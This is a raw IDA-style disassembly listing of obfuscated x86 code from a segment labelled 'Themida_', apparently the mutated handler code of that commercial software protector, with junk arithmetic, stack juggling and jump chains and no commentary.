loc_59A4E1: ; CODE XREF: Themida_:loc_5AFD09j
inc ebx
jp loc_59FA16
xor ebx, 73DA5DECh
jmp loc_5A02AF
; ---------------------------------------------------------------------------
push edi
mov bh, 0C0h
loc_59A4F7: ; CODE XREF: Themida_:005AB393j
pop ecx
sub al, bl
push dx
mov dl, 0EFh
jmp loc_59BF48
; ---------------------------------------------------------------------------
loc_59A503: ; CODE XREF: Themida_:005A10B9j
sub esp, 4
mov [esp], edi
mov edi, 42ED4D71h
neg edi
shl edi, 7
or edi, 725F5737h
jmp loc_5AB364
; ---------------------------------------------------------------------------
loc_59A51E: ; CODE XREF: Themida_:005A4AE4j
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59AFB9
; ---------------------------------------------------------------------------
loc_59A531: ; CODE XREF: Themida_:005A48E9j
sub ecx, ebp
pop ebp
shl ecx, 8
jmp loc_5ACD5B
; ---------------------------------------------------------------------------
loc_59A53C: ; CODE XREF: Themida_:loc_5A0CB7j
jmp loc_5A166B
; ---------------------------------------------------------------------------
loc_59A541: ; CODE XREF: Themida_:005A7A35j
mov ecx, eax
jmp loc_5A4548
; ---------------------------------------------------------------------------
loc_59A548: ; CODE XREF: Themida_:005A2DD6j
mov [esp], edx
jmp loc_59E971
; ---------------------------------------------------------------------------
loc_59A550: ; CODE XREF: Themida_:005A1149j
; Themida_:005ADBA2j
jb loc_5AA53E
inc edi
xor edi, 2F753999h
ja loc_5AE497
sub edi, 280B4690h
jns loc_59B833
mov ah, dl
loc_59A571: ; CODE XREF: Themida_:005AC73Bj
mov edx, [esp]
add esp, 4
add ebp, edi
jmp loc_5AC6FC
; ---------------------------------------------------------------------------
loc_59A57E: ; CODE XREF: Themida_:005A3C01j
jmp loc_5A5D7F
; ---------------------------------------------------------------------------
loc_59A583: ; CODE XREF: Themida_:0059B4CAj
push ecx
mov ecx, 719C7484h
sub edx, ecx
mov ecx, [esp]
add esp, 4
push dword ptr [esp]
jmp loc_5A1F43
; ---------------------------------------------------------------------------
loc_59A599: ; CODE XREF: Themida_:0059EF70j
sub esp, 4
mov [esp], esi
jmp loc_5AB4B2
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
jmp loc_59C0BF
; ---------------------------------------------------------------------------
loc_59A5B6: ; CODE XREF: Themida_:0059D708j
jmp loc_598A3D
; ---------------------------------------------------------------------------
loc_59A5BB: ; CODE XREF: Themida_:005A3FF8j
push dword ptr [esp]
jmp loc_5ADA2C
; ---------------------------------------------------------------------------
loc_59A5C3: ; CODE XREF: Themida_:005A17BDj
pop ebp
and ebp, 1FB828D9h
xor ebp, 15A8281Dh
add edi, 1D814882h
add edi, ebp
sub edi, 1D814882h
pop ebp
push ebx
mov ebx, 77FB392Bh
shr ebx, 2
sub ebx, 1DFECE46h
sub edi, 0D3C53FEh
jmp loc_5A7873
; ---------------------------------------------------------------------------
loc_59A5F9: ; CODE XREF: Themida_:0059A0CFj
add ecx, 4
sub ecx, 4
push ecx
push dword ptr [esp+4]
mov ecx, [esp]
jmp loc_5A9E9C
; ---------------------------------------------------------------------------
loc_59A60F: ; CODE XREF: Themida_:0059EAEFj
push 17DDh
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_5ADCC8
; ---------------------------------------------------------------------------
loc_59A624: ; CODE XREF: Themida_:005A2CD8j
dec edx
xor edx, 77797FCAh
jmp loc_5A3187
; ---------------------------------------------------------------------------
loc_59A630: ; CODE XREF: Themida_:00599DC3j
add al, 0Ah
sub al, ch
jmp loc_5ABA13
; ---------------------------------------------------------------------------
loc_59A639: ; CODE XREF: Themida_:005A091Ej
push ecx
mov ecx, 43AC6259h
neg ecx
ja loc_59C5A6
jmp loc_5A97CA
; ---------------------------------------------------------------------------
loc_59A64C: ; CODE XREF: Themida_:0059CD90j
pop esp
add ebx, 7A6666DCh
add ebx, 3F892558h
jmp loc_5A2005
; ---------------------------------------------------------------------------
loc_59A65E: ; CODE XREF: Themida_:0059BCF9j
shl ebp, 3
add ebp, 4EA664E2h
push ebx
mov ebx, 1EB74964h
not ebx
xor ebx, 0C941C743h
jmp loc_5A6451
; ---------------------------------------------------------------------------
loc_59A67A: ; CODE XREF: Themida_:005AA24Fj
push esi
mov esi, 4
add edi, esi
pop esi
jmp loc_5AF7D0
; ---------------------------------------------------------------------------
loc_59A688: ; CODE XREF: Themida_:005A77BFj
sub esp, 4
mov [esp], ebx
mov bh, 0E1h
sub al, bh
jmp loc_59E958
; ---------------------------------------------------------------------------
loc_59A697: ; CODE XREF: Themida_:005AC9B5j
add ecx, 4
xchg ecx, [esp]
pop esp
push ecx
mov ecx, esp
jmp loc_5A9749
; ---------------------------------------------------------------------------
loc_59A6A6: ; CODE XREF: Themida_:005ABC11j
; Themida_:005ACB24j
mov si, [esp]
jmp loc_5AC8C5
; ---------------------------------------------------------------------------
loc_59A6AF: ; CODE XREF: Themida_:005A4E84j
pop eax
pop dword ptr [esp]
mov esp, [esp]
push ecx
push 60F14A59h
pop ecx
push esi
mov esi, esp
jmp loc_59A1B9
; ---------------------------------------------------------------------------
loc_59A6C5: ; CODE XREF: Themida_:005A89D8j
sub ecx, 17D3A88Eh
sub eax, 0E6E2D22h
add eax, ecx
add eax, 0E6E2D22h
pop ecx
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_5A94C8
; ---------------------------------------------------------------------------
loc_59A6EB: ; CODE XREF: Themida_:005AC065j
not bl
xchg bl, al
jmp loc_5AB7E6
; ---------------------------------------------------------------------------
loc_59A6F4: ; CODE XREF: Themida_:005AD504j
mov ebp, 1978EDF4h
xor edi, ebp
pop ebp
sub ebx, 2B04427Fh
sub ebx, 538E3F63h
add ebx, edi
push 312Eh
mov [esp], edx
mov edx, 538E3F63h
jmp loc_59F798
; ---------------------------------------------------------------------------
loc_59A71C: ; CODE XREF: Themida_:0059EB55j
sub edi, 83319031h
add eax, edi
pop edi
add eax, ecx
sub eax, 103738A8h
mov ecx, [esp]
jmp loc_59D746
; ---------------------------------------------------------------------------
loc_59A734: ; CODE XREF: Themida_:005A0ECFj
sub ecx, edx
pop edx
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_5989A3
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A13A3
; ---------------------------------------------------------------------------
loc_59A75D: ; CODE XREF: Themida_:005AB1E2j
push ebp
jmp loc_5A118E
; ---------------------------------------------------------------------------
loc_59A763: ; CODE XREF: Themida_:00598E7Aj
mov cl, 8Ah
sub cl, 0D9h
shr cl, 7
push ax
mov ah, 14h
add cl, 0A6h
add cl, ah
jmp loc_5AFDF7
; ---------------------------------------------------------------------------
loc_59A779: ; CODE XREF: Themida_:0059DEEFj
add edi, 4
jmp loc_59B1B8
; ---------------------------------------------------------------------------
loc_59A784: ; CODE XREF: Themida_:005A44B9j
js loc_59BAB2
push eax
mov al, 94h
push ecx
mov cl, 0DDh
sub al, cl
pop ecx
xor bh, al
loc_59A795: ; CODE XREF: Themida_:005A28CDj
mov eax, esp
jmp loc_5A1D6A
; ---------------------------------------------------------------------------
loc_59A79C: ; CODE XREF: Themida_:005ADAF6j
push ebp
mov ebp, 7C3E1E08h
push ecx
mov ecx, 0C1E64986h
add ebp, ecx
pop ecx
or esi, ebp
jmp loc_5A5921
; ---------------------------------------------------------------------------
loc_59A7B2: ; CODE XREF: Themida_:005AB2ABj
add esi, 4
add esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
pop esp
jmp loc_5ACCEC
; ---------------------------------------------------------------------------
loc_59A7CA: ; CODE XREF: Themida_:0059BC1Bj
xor [esp], eax
xor eax, [esp]
jmp loc_5A7926
; ---------------------------------------------------------------------------
loc_59A7D5: ; CODE XREF: Themida_:005A99D7j
push esi
push 54933AA3h
mov esi, [esp]
jmp loc_5A1F32
; ---------------------------------------------------------------------------
loc_59A7E3: ; CODE XREF: Themida_:0059C7D9j
sub ecx, 306864DFh
jmp loc_59EFDB
; ---------------------------------------------------------------------------
loc_59A7EE: ; CODE XREF: Themida_:005AD00Fj
pop ecx
pop edx
jmp loc_5A42FE
; ---------------------------------------------------------------------------
loc_59A7F5: ; CODE XREF: Themida_:005ACE7Ej
pop esi
xor esi, 729845D0h
mov ecx, esi
pop esi
sub edi, 18794660h
push edx
mov edx, 26E365E0h
xor edx, 5C28159Fh
shr edx, 6
and edx, 1C6030Dh
xor edx, 255247FCh
shl edx, 2
push eax
mov eax, 8BDA53FCh
xor edx, eax
jmp loc_5A5EF6
; ---------------------------------------------------------------------------
loc_59A830: ; CODE XREF: Themida_:0059FC49j
and ebp, edx
pop edx
shl ebp, 2
sub ebp, 20001DE4h
mov edx, ebp
jmp loc_5AD8A4
; ---------------------------------------------------------------------------
loc_59A843: ; CODE XREF: Themida_:005A49A3j
add ebx, ebp
pop ebp
add ebx, ebp
push esi
mov esi, 0B97451Eh
sub ebx, esi
pop esi
sub ebx, 53355750h
pop ebp
push 37DEh
jmp loc_5A5791
; ---------------------------------------------------------------------------
loc_59A862: ; CODE XREF: Themida_:005AEA7Fj
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
pop esp
push ebp
jmp loc_5A0C10
; ---------------------------------------------------------------------------
loc_59A886: ; CODE XREF: Themida_:0059DFB0j
pop eax
jmp loc_59D83F
; ---------------------------------------------------------------------------
loc_59A88C: ; CODE XREF: Themida_:005A1F3Ej
sub esi, 0CB022461h
add eax, 6C5B08D6h
push esi
jmp loc_5AE2E5
; ---------------------------------------------------------------------------
loc_59A89D: ; CODE XREF: Themida_:005ACDC2j
mov edx, 70CF126Eh
add edx, 8F30ED96h
sub edi, 4F10789h
add edi, edx
add edi, 4F10789h
pop edx
push ecx
mov ecx, 4B5539FEh
jmp loc_5A61B1
; ---------------------------------------------------------------------------
loc_59A8C2: ; CODE XREF: Themida_:005A332Cj
mov ebx, 0A1E44CFh
not ebx
sub ebx, 7DD30D13h
shr ebx, 4
jmp loc_5AB6BC
; ---------------------------------------------------------------------------
loc_59A8D7: ; CODE XREF: Themida_:005A5655j
mov esi, esp
jmp loc_59ED78
; ---------------------------------------------------------------------------
loc_59A8DE: ; CODE XREF: Themida_:00599A56j
sub edx, 0DA94AF3h
push eax
mov eax, 0F174F77h
xor eax, 54040499h
jmp loc_5A9C3B
; ---------------------------------------------------------------------------
loc_59A8F4: ; CODE XREF: Themida_:005A4BB5j
xor esi, 3942637Fh
sub eax, esi
pop esi
jmp loc_59C3D2
; ---------------------------------------------------------------------------
push 36Fh
mov [esp], edx
jmp loc_5A1F04
; ---------------------------------------------------------------------------
loc_59A90F: ; CODE XREF: Themida_:005AEAF9j
pop edi
jmp loc_59FC43
; ---------------------------------------------------------------------------
loc_59A915: ; CODE XREF: Themida_:0059CF9Cj
sub esp, 4
mov [esp], eax
jmp loc_59CD95
; ---------------------------------------------------------------------------
loc_59A923: ; CODE XREF: Themida_:0059EB21j
; Themida_:005A3999j
mov eax, [esp]
add esp, 4
push edi
mov edi, 2F157F5h
jmp loc_59A16F
; ---------------------------------------------------------------------------
loc_59A937: ; CODE XREF: Themida_:0059DEBCj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59A93C: ; CODE XREF: Themida_:005A87B1j
xor edi, esi
pop esi
xor edi, 8DC7665h
mov ebx, edi
jmp loc_5AF0F5
; ---------------------------------------------------------------------------
loc_59A94C: ; CODE XREF: Themida_:005A45A4j
mov edi, 0FA7E1AEDh
add ecx, edi
jmp loc_59C189
; ---------------------------------------------------------------------------
loc_59A958: ; CODE XREF: Themida_:005ACFE6j
jns loc_59B995
sub eax, 8CE937E2h
mov esi, eax
mov eax, [esp]
add esp, 4
push 27BEh
mov [esp], ebp
jmp $+5
mov ebp, 0EF37E161h
jmp loc_59E7DA
; ---------------------------------------------------------------------------
loc_59A985: ; CODE XREF: Themida_:0059E312j
sub eax, ebp
pop ebp
push edi
mov edi, 615B624Fh
push 44D3h
mov [esp], eax
jmp loc_5A80AF
; ---------------------------------------------------------------------------
loc_59A99B: ; CODE XREF: Themida_:0059FAEEj
pop eax
mov edx, 55155654h
xor edx, eax
pop eax
push ebp
push ecx
mov ecx, 387970FAh
mov ebp, ecx
mov ecx, [esp]
add esp, 4
xor ebp, 4D82555Bh
jmp loc_59D79B
; ---------------------------------------------------------------------------
loc_59A9BE: ; CODE XREF: Themida_:005AFA90j
not edi
xor edi, 315C08CEh
or edi, 2DB65AD5h
jmp loc_5A6EEC
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59A9D9: ; CODE XREF: Themida_:0059BB06j
inc ecx
jmp loc_59AA93
; ---------------------------------------------------------------------------
loc_59A9DF: ; CODE XREF: Themida_:0059D08Fj
sub dword ptr [esp], 603B7E05h
pop esi
jmp loc_5A0718
; ---------------------------------------------------------------------------
loc_59A9EC: ; CODE XREF: Themida_:005A1315j
or edx, 40486F74h
add edx, 46F702C2h
add esi, edx
mov edx, [esp]
add esp, 4
add esi, ecx
push edx
jmp loc_5AA21F
; ---------------------------------------------------------------------------
loc_59AA08: ; CODE XREF: Themida_:005A6908j
pop ebx
pop edx
sub cl, 0F0h
jmp loc_5A7CAD
; ---------------------------------------------------------------------------
loc_59AA12: ; CODE XREF: Themida_:005ACB34j
add eax, 0B371528h
mov esi, eax
pop eax
jmp loc_5AB68B
; ---------------------------------------------------------------------------
loc_59AA1F: ; CODE XREF: Themida_:005A135Ej
sub edx, 6E7A051Fh
pop ecx
shl edx, 5
push 4F82h
mov [esp], esi
push edx
jmp loc_59ED58
; ---------------------------------------------------------------------------
loc_59AA37: ; CODE XREF: Themida_:005A228Aj
sub eax, edx
sub eax, 16B87547h
pop edx
push dword ptr [esp]
pop ebp
add esp, 4
movzx ax, byte ptr [eax]
push small 3922h
jmp loc_5AF54E
; ---------------------------------------------------------------------------
loc_59AA56: ; CODE XREF: Themida_:0059D963j
add ah, 3Fh
jmp loc_5A383C
; ---------------------------------------------------------------------------
loc_59AA5E: ; CODE XREF: Themida_:005AE4C2j
xor ebx, eax
jmp loc_59DC28
; ---------------------------------------------------------------------------
loc_59AA65: ; CODE XREF: Themida_:0059D4EBj
pop esp
mov [esp], ecx
push 5175h
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push ebp
jmp loc_59E2A9
; ---------------------------------------------------------------------------
loc_59AA7C: ; CODE XREF: Themida_:005ABF82j
jmp loc_598E11
; ---------------------------------------------------------------------------
loc_59AA81: ; CODE XREF: Themida_:005A5D49j
pop ecx
jmp loc_5AB170
; ---------------------------------------------------------------------------
loc_59AA87: ; CODE XREF: Themida_:005A1B7Fj
inc ebx
jns loc_598D97
jmp loc_59C282
; ---------------------------------------------------------------------------
loc_59AA93: ; CODE XREF: Themida_:0059A9DAj
shr ecx, 6
jmp loc_59FFE6
; ---------------------------------------------------------------------------
loc_59AA9B: ; CODE XREF: Themida_:005999DDj
pop ecx
jmp loc_5AC288
; ---------------------------------------------------------------------------
loc_59AAA1: ; CODE XREF: Themida_:0059F048j
pop esp
mov [esp], ebp
push dword ptr [esp+4]
mov ebp, [esp]
jmp loc_5A1B1E
; ---------------------------------------------------------------------------
loc_59AAB1: ; CODE XREF: Themida_:0059FDABj
pop edi
jmp loc_5A7E47
; ---------------------------------------------------------------------------
loc_59AAB7: ; CODE XREF: Themida_:0059AFCFj
sub dl, 3Bh
push ax
mov ah, 0B7h
or dl, ah
jmp loc_5ADA61
; ---------------------------------------------------------------------------
loc_59AAC5: ; CODE XREF: Themida_:005A1B05j
; Themida_:005A398Cj
xchg edx, ebx
inc ebx
jns loc_5A7C9D
not ebx
push ecx
mov ecx, 0D953D005h
add ebx, ecx
pop ecx
mov [ecx], ebx
mov ebx, [esp]
add esp, 4
pop ecx
popa
popf
retn
; ---------------------------------------------------------------------------
jmp loc_5A8178
; ---------------------------------------------------------------------------
loc_59AAEA: ; CODE XREF: Themida_:005A770Dj
push 1429h
jmp loc_59B349
; ---------------------------------------------------------------------------
loc_59AAF4: ; CODE XREF: Themida_:005A79AEj
mov [esp], edi
push ebx
push ecx
mov ecx, 4D101063h
mov ebx, 0C3B839A5h
jmp loc_5AEA0A
; ---------------------------------------------------------------------------
loc_59AB08: ; CODE XREF: Themida_:0059A293j
mov ebx, 4
add edi, ebx
pop ebx
jmp loc_5A37E0
; ---------------------------------------------------------------------------
loc_59AB15: ; CODE XREF: Themida_:005A3C3Aj
add esi, 543DF0B0h
add ebx, esi
pop esi
jmp loc_5AB62C
; ---------------------------------------------------------------------------
loc_59AB23: ; CODE XREF: Themida_:005AD5FDj
add al, 0F9h
add al, dl
sub al, 0F9h
pop dx
sub al, 8Bh
add al, ch
add al, 8Bh
jmp loc_5AE0B6
; ---------------------------------------------------------------------------
loc_59AB36: ; CODE XREF: Themida_:0059DBC6j
mov eax, 39192449h
neg eax
add eax, 686706B9h
push ecx
mov ecx, 5CA79E6Dh
xor eax, ecx
pop ecx
add ebx, eax
mov eax, [esp]
jmp loc_5A3818
; ---------------------------------------------------------------------------
loc_59AB55: ; CODE XREF: Themida_:0059E121j
pop ebp
push dword ptr [esp]
pop edi
add esp, 4
sub ebx, 6ED40959h
add ebx, 312E4B4Ah
jmp loc_59C430
; ---------------------------------------------------------------------------
loc_59AB71: ; CODE XREF: Themida_:005AB151j
and esi, 67EF454Eh
xor esi, 5A8F4E3Bh
sub edx, esi
jmp loc_59F6F1
; ---------------------------------------------------------------------------
loc_59AB84: ; CODE XREF: Themida_:0059A462j
mov dl, cl
mov ah, dl
mov edx, [esp]
add esp, 4
mov ecx, [esp]
push 2459h
mov [esp], edi
mov edi, esp
add edi, 4
push esi
mov esi, 4
add edi, esi
mov esi, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
jmp loc_5AB8D3
; ---------------------------------------------------------------------------
loc_59ABBC: ; CODE XREF: Themida_:005A4B08j
push ecx
mov ecx, esp
jmp loc_5A883E
; ---------------------------------------------------------------------------
loc_59ABC4: ; CODE XREF: Themida_:005A013Dj
; Themida_:005A41E2j
pop esi
sub ebp, 1191A15h
sub ebp, eax
add ebp, 1191A15h
jmp loc_5A8A47
; ---------------------------------------------------------------------------
loc_59ABD8: ; CODE XREF: Themida_:0059C8E8j
mov [esp], ebp
mov ebp, 60694804h
add eax, ebp
pop ebp
push dword ptr [esp]
pop ebp
jmp loc_5AA9A4
; ---------------------------------------------------------------------------
loc_59ABEC: ; CODE XREF: Themida_:005A10C6j
sub ebx, 0F413C86h
push ebp
push ecx
mov ecx, 50C563B4h
sub ecx, 76584375h
jle loc_5A2A50
sub ecx, 218C4AE7h
or ecx, 758692Bh
pop eax
loc_59AC12: ; CODE XREF: Themida_:0059E697j
sub ebx, 526348FCh
add edi, ebx
pop ebx
sub esp, 4
mov [esp], edx
mov edx, 160D7CA6h
not edx
jmp loc_5A0E28
; ---------------------------------------------------------------------------
loc_59AC30: ; CODE XREF: Themida_:005AE634j
push ebx
mov ebx, 18FE39FBh
jmp loc_59F246
; ---------------------------------------------------------------------------
loc_59AC3B: ; CODE XREF: Themida_:005A7B3Cj
xor ecx, [esp]
jmp loc_5ADC2E
; ---------------------------------------------------------------------------
loc_59AC43: ; CODE XREF: Themida_:005A248Bj
pop ebp
mov ecx, edi
mov edi, [esp]
add esp, 4
sub ecx, 108B0CE6h
xor ecx, 772B17BAh
add edx, 7E4549A7h
jmp loc_5A3C82
; ---------------------------------------------------------------------------
loc_59AC63: ; CODE XREF: Themida_:0059E8F7j
push ebx
mov bh, 0D0h
xor bh, 0Eh
jmp loc_5ADE3C
; ---------------------------------------------------------------------------
loc_59AC6E: ; CODE XREF: Themida_:005A00BAj
sub esp, 4
mov [esp], edi
mov edi, 72F00C0h
add eax, edi
mov edi, [esp]
add esp, 4
xor eax, 73F7B28Fh
add ebx, 615260DBh
sub ebx, 2AD240D1h
add ebx, eax
add ebx, 2AD240D1h
sub ebx, 615260DBh
mov eax, [esp]
add esp, 4
push edi
mov edi, 4
add ebx, edi
pop edi
xor ebx, [esp]
xor [esp], ebx
jmp loc_5AD6CB
; ---------------------------------------------------------------------------
loc_59ACC0: ; CODE XREF: Themida_:0059B553j
xor ecx, 18656A8Ah
jmp loc_5A0131
; ---------------------------------------------------------------------------
loc_59ACCB: ; CODE XREF: Themida_:0059DAFDj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
pop esp
or [edi+1Ch], eax
push dword ptr [esp]
jmp loc_5A6BAF
; ---------------------------------------------------------------------------
loc_59ACE0: ; CODE XREF: Themida_:005A0478j
mov [esp], ebp
jmp loc_59F2DB
; ---------------------------------------------------------------------------
loc_59ACE8: ; CODE XREF: Themida_:005A580Dj
mov eax, 52FF1E7Fh
or eax, 1C9D7902h
add eax, 4FF62795h
jmp loc_5A1D8E
; ---------------------------------------------------------------------------
loc_59ACFC: ; CODE XREF: Themida_:005A3956j
push 60AAh
mov [esp], edx
push esi
mov esi, 5EB22E72h
jmp $+5
sub esi, 31AB0BF1h
jns loc_5AE146
and esi, 202F34D4h
jge loc_5A7A95
pop eax
loc_59AD28: ; CODE XREF: Themida_:0059F6A8j
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_5ADFDB
; ---------------------------------------------------------------------------
loc_59AD36: ; CODE XREF: Themida_:0059A21Ej
push esi
sub esp, 4
mov [esp], ebx
push esi
push edi
push 501D3E58h
pop edi
xor edi, 39434EF8h
mov esi, edi
pop edi
jmp loc_5A4BA9
; ---------------------------------------------------------------------------
loc_59AD56: ; CODE XREF: Themida_:005A5F6Aj
and edi, 0BF17D5Dh
jmp loc_5A3FB1
; ---------------------------------------------------------------------------
loc_59AD61: ; CODE XREF: Themida_:005AF7CBj
pop edx
jmp loc_5A8B88
; ---------------------------------------------------------------------------
loc_59AD67: ; CODE XREF: Themida_:0059FD30j
sub edx, edi
add edx, 36775A5h
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59CBD5
; ---------------------------------------------------------------------------
loc_59AD80: ; CODE XREF: Themida_:005A278Bj
; Themida_:005A6D5Dj
push ebx
mov ebx, esp
jmp loc_59A3E7
; ---------------------------------------------------------------------------
loc_59AD88: ; CODE XREF: Themida_:005A82D2j
pop esi
jmp loc_5AFAC0
; ---------------------------------------------------------------------------
loc_59AD8E: ; CODE XREF: Themida_:00598DEEj
mov eax, [esp]
jmp loc_5A9919
; ---------------------------------------------------------------------------
loc_59AD96: ; CODE XREF: Themida_:0059C8AAj
pop ecx
add esp, 4
add ebx, 11C94550h
add ebx, 160D733Bh
add ebx, eax
sub ebx, 160D733Bh
push ecx
push edx
jmp loc_5A58D0
; ---------------------------------------------------------------------------
loc_59ADB5: ; CODE XREF: Themida_:005A53A2j
add edx, ecx
pop ecx
xchg edx, [esp]
jmp loc_59DB02
; ---------------------------------------------------------------------------
loc_59ADC0: ; CODE XREF: Themida_:0059F635j
push eax
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59ADC7: ; CODE XREF: Themida_:0059E278j
and edi, edx
pop edx
jmp loc_5A0033
; ---------------------------------------------------------------------------
loc_59ADCF: ; CODE XREF: Themida_:0059FC64j
xor ecx, 11BCCD48h
add esi, ecx
pop ecx
sub esi, 4
xchg esi, [esp]
mov esp, [esp]
mov [esp], edx
push ebx
mov bh, 0E7h
jmp loc_599338
; ---------------------------------------------------------------------------
loc_59ADEC: ; CODE XREF: Themida_:005A73E7j
xor esi, edx
pop edx
add ebx, esi
jmp loc_5A4C3A
; ---------------------------------------------------------------------------
loc_59ADF6: ; CODE XREF: Themida_:005A543Aj
mov edx, 2
mov ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_5AF1EF
; ---------------------------------------------------------------------------
loc_59AE08: ; CODE XREF: Themida_:0059D741j
pop ebx
sub edx, 94A08EBh
jmp loc_5AF911
; ---------------------------------------------------------------------------
loc_59AE14: ; CODE XREF: Themida_:005AFA50j
jnp loc_59DBA5
xor ebp, 2C2365F3h
and ebp, 12C24932h
shl ebp, 8
and ebp, 22061D26h
xor ebp, 798C0404h
sub ebp, 1046C984h
add edi, ebp
pop ebp
add edi, ecx
sub edi, 6B454A80h
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
sub esp, 4
mov [esp], esi
push 2
mov esi, [esp]
add esp, 4
sub edi, 0FAD7AF2h
jmp loc_5A1646
; ---------------------------------------------------------------------------
loc_59AE7B: ; CODE XREF: Themida_:005AD53Ej
or eax, 1FAD363Ah
and eax, 19255280h
sub eax, 0C9B449C4h
sub edi, eax
pop eax
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
push edx
jmp loc_59C51C
; ---------------------------------------------------------------------------
loc_59AE9E: ; CODE XREF: Themida_:005A8516j
pop eax
add esp, 4
push ebp
sub esp, 4
push 6B70h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
mov ebp, [esp]
add esp, 4
add ebp, 4
sub esp, 4
mov [esp], ebx
jmp loc_59BCD7
; ---------------------------------------------------------------------------
loc_59AEDA: ; CODE XREF: Themida_:0059FEB5j
push dword ptr [esp+4]
jmp loc_59CEA6
; ---------------------------------------------------------------------------
loc_59AEE3: ; CODE XREF: Themida_:00598C00j
add ebx, eax
jmp loc_5A8CC3
; ---------------------------------------------------------------------------
loc_59AEEA: ; CODE XREF: Themida_:005ABD1Cj
mov ebx, edx
pop edx
jmp loc_5ADCF0
; ---------------------------------------------------------------------------
loc_59AEF2: ; CODE XREF: Themida_:005A6F2Dj
pop edx
add edx, 0EB50E4h
pop ebp
push ebx
mov ebx, 61361196h
sub ebp, ebx
pop ebx
sub ebp, 5ED860DAh
add ebp, edx
jmp loc_5992D6
; ---------------------------------------------------------------------------
loc_59AF10: ; CODE XREF: Themida_:005AAA24j
add ebp, ebx
add ebp, 3D9000F3h
pop ebx
jmp loc_59E220
; ---------------------------------------------------------------------------
loc_59AF1E: ; CODE XREF: Themida_:0059F856j
add ebp, 4767FB1Bh
push edi
mov edi, 24EC77DBh
and edi, 1959523Fh
and edi, 74751703h
or edi, 96C6E50h
inc edi
sub edi, 0E59B4E17h
xor ebp, edi
pop edi
xor ebp, 68E87FE7h
sub ebp, 6A7420DDh
xor ebp, 0FE75503Dh
add ecx, ebp
pop ebp
xchg ecx, [esp]
jmp loc_5A8CA9
; ---------------------------------------------------------------------------
loc_59AF63: ; CODE XREF: Themida_:005A7914j
pop ebx
jmp loc_59D922
; ---------------------------------------------------------------------------
loc_59AF69: ; CODE XREF: Themida_:005A208Fj
pop esp
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push 71CFh
jmp loc_5A7E62
; ---------------------------------------------------------------------------
loc_59AF8C: ; CODE XREF: Themida_:0059A3EDj
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5A8E1B
; ---------------------------------------------------------------------------
loc_59AF9B: ; CODE XREF: Themida_:0059CA62j
add esp, 4
shr eax, 4
jmp loc_5A3F8B
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp], cl
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_59AFB9: ; CODE XREF: Themida_:0059A52Cj
xchg ecx, [esp]
mov esp, [esp]
push ebp
push esp
pop ebp
add ebp, 4
jmp loc_5A45A9
; ---------------------------------------------------------------------------
loc_59AFCD: ; CODE XREF: Themida_:005ADD2Ej
neg dl
jmp loc_59AAB7
; ---------------------------------------------------------------------------
loc_59AFD4: ; CODE XREF: Themida_:005AAE34j
push edi
mov edi, 4
jmp loc_5A07BB
; ---------------------------------------------------------------------------
loc_59AFDF: ; CODE XREF: Themida_:005A90D6j
and esi, 1A403F7Ah
jmp loc_5A9256
; ---------------------------------------------------------------------------
loc_59AFEA: ; CODE XREF: Themida_:005AF32Fj
add esp, 2
sub ch, 0FFh
and ch, 3Ah
dec ch
jmp loc_5AF4FE
; ---------------------------------------------------------------------------
loc_59AFFD: ; CODE XREF: Themida_:005AC2C9j
; Themida_:005AE1FDj
jmp loc_59F1F3
; ---------------------------------------------------------------------------
loc_59B002: ; CODE XREF: Themida_:005AF0E9j
push ebx
push edx
pop ebx
pop edx
jmp loc_59EDFD
; ---------------------------------------------------------------------------
loc_59B00B: ; CODE XREF: Themida_:005A8A8Aj
jmp loc_59F2FF
; ---------------------------------------------------------------------------
loc_59B010: ; CODE XREF: Themida_:005AD069j
shr edx, 1
jmp loc_5A20E8
; ---------------------------------------------------------------------------
loc_59B017: ; CODE XREF: Themida_:005AEC1Aj
inc ebp
js loc_59FDDC
push edi
mov edi, 3F373278h
shl edi, 5
push edi
jmp loc_59A067
; ---------------------------------------------------------------------------
loc_59B02D: ; CODE XREF: Themida_:005A67EFj
jno loc_598AA6
and edi, 35C641F7h
js loc_59E3D7
mov ecx, edi
loc_59B041: ; CODE XREF: Themida_:0059E02Bj
pop esp
mov [esp], ecx
mov cl, 2
sub cl, 0F7h
jmp loc_5AA6F8
; ---------------------------------------------------------------------------
loc_59B04F: ; CODE XREF: Themida_:005A2BBAj
sub esp, 4
mov [esp], ebx
push ecx
push eax
mov ah, 0D1h
mov ch, ah
pop eax
sub ch, 0B9h
push edx
push ebx
mov bl, ch
mov dl, bl
pop ebx
mov bh, dl
pop edx
mov ecx, [esp]
add esp, 4
push edx
mov dl, 4Dh
jmp loc_5AE02E
; ---------------------------------------------------------------------------
